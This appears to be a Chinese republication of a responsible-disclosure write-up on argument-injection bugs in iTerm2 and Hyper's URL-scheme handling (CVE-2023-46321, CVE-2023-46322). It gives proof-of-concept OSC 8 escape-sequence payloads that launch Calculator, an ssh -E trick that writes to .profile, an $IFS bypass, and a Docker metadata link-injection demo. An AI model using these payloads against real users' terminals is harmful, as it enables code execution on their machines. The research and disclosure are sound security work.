在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

admin 2024年5月22日13:35:05评论6 views字数 2920阅读9分44秒阅读模式
 

什么是转义序列

现代终端是非常强大的工具,对各种转义序列具有相当广泛的支持。这些转义序列经过终端仿真器的特殊处理,以生成颜色、光标样式、剪贴板访问,甚至*眨眼*超链接!

一些常用转义序列的示例:

将终端窗口的标题更改为new-title

$ echo -e "e]2;new-titlea"

听起来耳熟:

$ echo -e "a"

终端中的超链接

如今,大多数终端模拟器Osc 8都允许使用直接从任意文本生成超链接。

通常它看起来像下面这样:

echo -e '�33]8;;http://example.com�33\This is a link�33]8;;�33\n'

它就像 HTMl<a>元素一样,就在我们的终端中。

任意 url 方案

随着时间的推移,浏览器一直在改进(?),现在如果链接使用非标准 url 方案(如 、 等),现在大多数会显示一个弹出窗口以打开外部ssh://程序ftp://x-man-page://

单击呈现的 HTML 页面中的链接后的弹出窗口ssh://如下所示:

在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

然而,在大多数终端仿真器中,链接是直接在注册来处理该 url 方案的程序(即ssh://url 的 SSH 客户端)中打开的。

终端模拟器作为 url 方案处理程序

默认的 MacOS 终端在 OS X 上注册了各种 url 方案处理程序。任何使用这些方案的链接在被点击时都会打开 MacOS 终端来执行相应的操作。

例如telnetx-man-pagessh,whois

您可以使用以下命令查看有关在 OS X 系统上注册的 url 方案的信息:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 bindings:.*:

iTerm2也允许选择各种 URL 方案由其自行处理。我将要分享的漏洞影响了 iTerm2 对两种 URL 方案的处理以及 Vercel 的 Hyper 对一种 URL 方案的处理。

漏洞#1

iTerm2 对 url 方案的处理x-man-page://很容易通过参数注入执行代码。

概念验证:

'x-man-page://foo -P"open -aCalculator"'

OSC 8 版本可从终端本身生成漏洞利用链接,单击该链接会弹出一个计算器:

echo -e 'e]8;;x-man-page://foo%00-P%22open%20-aCalculator%22e\This is a linke]8;;e\'

在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

补丁:https://gitlab.com/gnachman/iterm2/-/commit/de3d351

CVE-2023-46321

漏洞 #2

iTerm2 对 url 方案的处理ssh://容易受到参数注入的影响,从而允许任意文件写入。

概念验证:

echo -e 'e]8;;ssh://-E.profile/`launch-calc`eThis is a linke]8;;e'

这会将以下内容附加到受害者的.profile

ssh: Could not resolve hostname cd /`launch-calc`; exec $shell -l: nodename nor servname provided, or not known^M

一旦获取,它将执行该lunch-calc命令,从而允许稍微延迟的有限代码执行。注入更复杂的有效负载也是可能的,而不仅仅是单个命令。除了滥用 SSH 标志(例如-F提供配置文件)之外,攻击者还可以滥用目标设备上现有的本地文件来实现相同目的。

补丁:https://gitlab.com/gnachman/iterm2/-/commit/ef7bb84

CVE-2023-46322,补丁已在3.5.0版本发布

漏洞 #3

Hyperssh://在安装后会将自身注册为URL 方案的处理程序。幸运的是,此功能损坏3.4.1,但自 2010 年起在 Canary 版本中仍可正常运行4.0.0-canary4

lulz 的失败 PoC:

echo -e 'e]8;;ssh://example.com&open%20-aCalculator/eThis is a linke]8;;e'

但当然,由于 url 编码,这不起作用,我们遇到:

bash: open%20-aCalculator: command not found

(当然相同,ssh://example.com&open -aCalculator/因为空间会自动转换为 url 编码版本)

IFS为了救援!

成功的概念验证:

echo -e 'e]8;;ssh://example.com&open$IFS-aCalculator/eThis is a linke]8;;e'

 

补丁:https://github.com/vercel/hyper/pull/7615

奖金漏洞,bad moby!

还有什么比 Docker 更好的工具可以将包含转义序列(以及超链接)的任意文本注入到我们的终端模拟器中呢?

我仅使用 Dockerfile 中的一条指令创建了一个简单的 docker 镜像FROM alpine:laest,将其导出到 tar,修改 json 元数据以包含以下architecture值来创建新镜像:

{"architecture":") not found ..nnu001B]8;;https://example.comu0007Please click this link to install latest docker client.u001B]8;;u0007nn", ...

这当然是一个无害的 PoC,您可以使用docker pull vin01/escape-seq-test:latest --platform darwin/arm64或进行尝试docker run --rm vin01/escape-seq-test,您应该会看到注入的链接,如下所示。

在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

 

在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

该漏洞已于去年 8 月向 Docker 披露,但仍未修复,并且与终端仿真器中的其他漏洞结合,可能被利用为易于滥用的附加载体。

其他弱点

我还在 iTerm2 中遇到了其他一些问题,这些问题都得到了及时处理并很快修复。

  • RemoteHost 转义序列
  • 窗口标题缓冲区溢出

更多关于武器化逃逸序列的研究

感谢STÖK纯文本 ANSI 转义序列武器化,使其成为取证噩梦

披露与致谢

  • 感谢 Vercel 团队根据负责任的披露计划和赠品处理了这件事。
  • 感谢 George Nachman 维护 iTerm2 并处理漏洞报告。

在 Linux 和 Windows 终端上探索类似的攻击媒介也许也是有价值的。

 

Abusing url handling in iTerm2 and Hyper for code executionhttps://vin01.github.io/piptagole/escape-sequences/iterm2/hyper/url-handlers/code-execution/2024/05/21/arbitrary-url-schemes-terminal-emulators.html

原文始发于微信公众号(Ots安全):在 iTerm2 和 Hyper 中滥用 url 处理来执行代码

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月22日13:35:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在 iTerm2 和 Hyper 中滥用 url 处理来执行代码https://cn-sec.com/archives/2765966.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息